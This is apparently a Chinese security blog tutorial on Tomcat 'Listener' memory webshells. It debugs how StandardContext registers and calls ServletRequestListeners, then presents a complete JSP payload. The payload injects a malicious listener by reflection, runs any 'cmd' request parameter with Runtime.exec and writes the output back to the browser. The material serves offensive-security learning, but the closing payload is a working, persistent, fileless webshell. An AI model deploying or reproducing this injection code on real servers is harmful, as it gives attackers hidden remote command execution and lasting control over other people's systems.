Tomcat-Listener内存马
这篇文章记录下学习 Listener 内存马学习到的东西,思路跟 Filter 型内存马差不多,找一个相对通用的 Listener ,这里用的是 ServletRequestListener ,所有的 servlet 请求都会经过这个 Listener,接下来写一个例子调试分析 Listener 的注册过程和调用过程,相对来说比较简单!
创建工程
IDEA 打开创建一个 web 工程,导入如下依赖
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.20</version>
<scope>compile</scope>
</dependency>
编写 Servlet 程序
@WebServlet("/listener")
public class TestListener extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("tomcat-listener!!");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
编写 Listener 程序
@WebListener
public class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("ServletListener#requestInitialized is invoked!");
}
}
因为调试涉及到 Tomcat 中间件包里的代码,所以需要把 Tomcat 下 lib 目录下的包都导入进来

启动 Tomcat 中间件,访问 /listener 这个 Servlet 会发现调用了 ServletListener#requestInitialized 方法
调试分析
既然访问任何 Servlet 都会调用 ServletListener#requestInitialized 方法,那么只需反射注入 ServletListener 监听器即可,为了理解编写的 payload,下面分析监听器的注册和调用,在 ServletListener 类上下断点调试启动 Tomcat 中间件

跟进到 StandardContext#listenerStart 方法,先获取监听器然后遍历监听器进行实例化

监听器从 findApplicationListeners 方法返回,跟进看一下返回的是 applicationListeners 属性,其中包含我们编写的 ServletListener

遍历并实例化完监听器之后把实例化对象加入到 eventListeners 中, 然后通过 setApplicationEventListeners 方法把 eventListeners 设置到 applicationEventListenersList 中

跟进一下 setApplicationEventListeners 方法,可以知道最终实例化出来的监听器被存储在 applicationEventListenersList 属性中

注册监听器就完成了,下面来看看是怎么调用注册的监听器的,在 requestInitialized 方法上下断点,调试启动 Tomcat 中间件

跟进到 StandardContext#fireRequestInitEvent 方法,通过 getApplicationEventListeners 方法获取到前面注册的监听器,然后循环遍历调用监听器的 requestInitialized 方法

构造内存马进行注入
通过上面的分析可以知道,最后遍历调用的是 StandardContext.applicationEventListenersList 属性,所以内存马构造中需要获取到 StandardContext 类,然后获取其 applicationEventListenersList 属性,最后注入我们构造的恶意监听器到 applicationEventListenersList 属性里,构造如下
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
try {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
//获取到 Response 对象,用于命令回显输出
org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = (Response) request.getResponse();
//命令执行并通过 Response 对象进行输出结果到浏览器中
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i = inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
%>
<%
//获取到 StandardContext 对象的 applicationEventListenersList 属性,最后把恶意构造的监听器注入到 applicationEventListenersList 属性中
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] applicationEventListeners = standardContext.getApplicationEventListeners();
List<Object> objects = Arrays.asList(applicationEventListeners);
ArrayList arrayList = new ArrayList(objects);
arrayList.add(new ServletListener());
standardContext.setApplicationEventListeners(arrayList.toArray());
response.getWriter().write("Inject Success by listener!");
%>










